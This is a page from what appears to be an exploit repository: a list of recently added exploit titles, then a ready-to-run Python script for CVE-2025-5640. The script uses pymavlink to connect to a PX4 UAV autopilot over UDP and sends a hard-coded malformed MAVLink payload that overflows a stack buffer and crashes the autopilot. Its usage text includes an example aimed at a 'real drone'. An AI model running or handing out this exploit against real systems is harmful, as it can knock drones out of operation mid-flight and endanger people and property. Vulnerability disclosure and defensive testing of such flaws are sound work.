97a1ee1350
9 changes to exploits/shellcodes/ghdb OneTrust SDK 6.33.0 - Denial Of Service (DoS) McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) Sitecore 10.4 - Remote Code Execution (RCE) Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) freeSSHd 1.0.9 - Denial of Service (DoS) Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
97 lines
No EOL
3.9 KiB
Python
Executable file
97 lines
No EOL
3.9 KiB
Python
Executable file
# Exploit Title: PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS)
|
|
# Author: Mohammed Idrees Banyamer (@banyamer_security)
|
|
# GitHub: https://github.com/mbanyamer
|
|
# Date: 2025-06-21
|
|
# Tested on: Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)
|
|
# CVE: CVE-2025-5640
|
|
# Type: Denial of Service (DoS) via Buffer Overflow
|
|
# Platform: Cross-platform (Military UAVs / PX4 SITL / Linux-based autopilot ground station)
|
|
# Author Country: Jordan
|
|
# Description:
|
|
# A stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot <=1.12.3 is triggered
|
|
# when handling a malformed MAVLink message of type TRAJECTORY_REPRESENTATION_WAYPOINTS.
|
|
# An attacker with access to the MAVLink communication channel can send a crafted packet
|
|
# to crash the autopilot, potentially disrupting military UAV operations. This exploit demonstrates
|
|
# a proof-of-concept that causes the PX4 autopilot to crash via UDP.
|
|
|
|
|
|
import argparse
|
|
import binascii
|
|
from pymavlink import mavutil
|
|
import sys
|
|
|
|
# Exploit payload (malformed MAVLink hex)
|
|
hex_payload = (
|
|
"fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
|
|
"c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78"
|
|
"12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6"
|
|
)
|
|
|
|
def connect_to_px4(ip, port, timeout, verbose=False):
|
|
try:
|
|
if verbose:
|
|
print(f"[*] Connecting to PX4 at udp:{ip}:{port} ...")
|
|
master = mavutil.mavlink_connection(f"udp:{ip}:{port}")
|
|
master.wait_heartbeat(timeout=timeout)
|
|
if verbose:
|
|
print("[+] PX4 heartbeat received. Connection OK.")
|
|
return master
|
|
except Exception as e:
|
|
print(f"[!] Error connecting to PX4: {e}")
|
|
sys.exit(1)
|
|
|
|
def send_dos_packet(master, verbose=False):
|
|
try:
|
|
payload = binascii.unhexlify(hex_payload)
|
|
master.write(payload)
|
|
print("[+] Exploit packet sent. Monitor PX4 for crash.")
|
|
except Exception as e:
|
|
print(f"[!] Failed to send payload: {e}")
|
|
sys.exit(1)
|
|
|
|
def main():
|
|
usage = """
|
|
PX4 Exploit Tool - CVE-2025-5640
|
|
=================================
|
|
Exploit a buffer overflow vulnerability in PX4 autopilot via MAVLink.
|
|
|
|
USAGE:
|
|
python3 px4_exploit_tool.py [OPTIONS]
|
|
|
|
EXAMPLES:
|
|
# Run DoS attack on default PX4 SITL
|
|
python3 px4_exploit_tool.py --mode dos
|
|
|
|
# Test connectivity to a real drone
|
|
python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550
|
|
|
|
OPTIONS:
|
|
--ip Target IP address (default: 127.0.0.1)
|
|
--port Target UDP port (default: 14540)
|
|
--mode Mode of operation: dos (default), check
|
|
--timeout Timeout in seconds for heartbeat (default: 5)
|
|
--verbose Enable verbose output
|
|
"""
|
|
parser = argparse.ArgumentParser(
|
|
description="PX4 MAVLink DoS Exploit Tool (CVE-2025-5640) by @banyamer_security",
|
|
epilog=usage,
|
|
formatter_class=argparse.RawDescriptionHelpFormatter
|
|
)
|
|
parser.add_argument("--ip", default="127.0.0.1", help="Target IP address (default: 127.0.0.1)")
|
|
parser.add_argument("--port", type=int, default=14540, help="Target UDP port (default: 14540)")
|
|
parser.add_argument("--timeout", type=int, default=5, help="Timeout in seconds for heartbeat (default: 5)")
|
|
parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="Mode: dos (default) or check connection")
|
|
parser.add_argument("--verbose", action="store_true", help="Enable verbose output")
|
|
|
|
args = parser.parse_args()
|
|
|
|
master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)
|
|
|
|
if args.mode == "check":
|
|
print("[*] PX4 is alive. Connection test passed.")
|
|
elif args.mode == "dos":
|
|
send_dos_packet(master, args.verbose)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |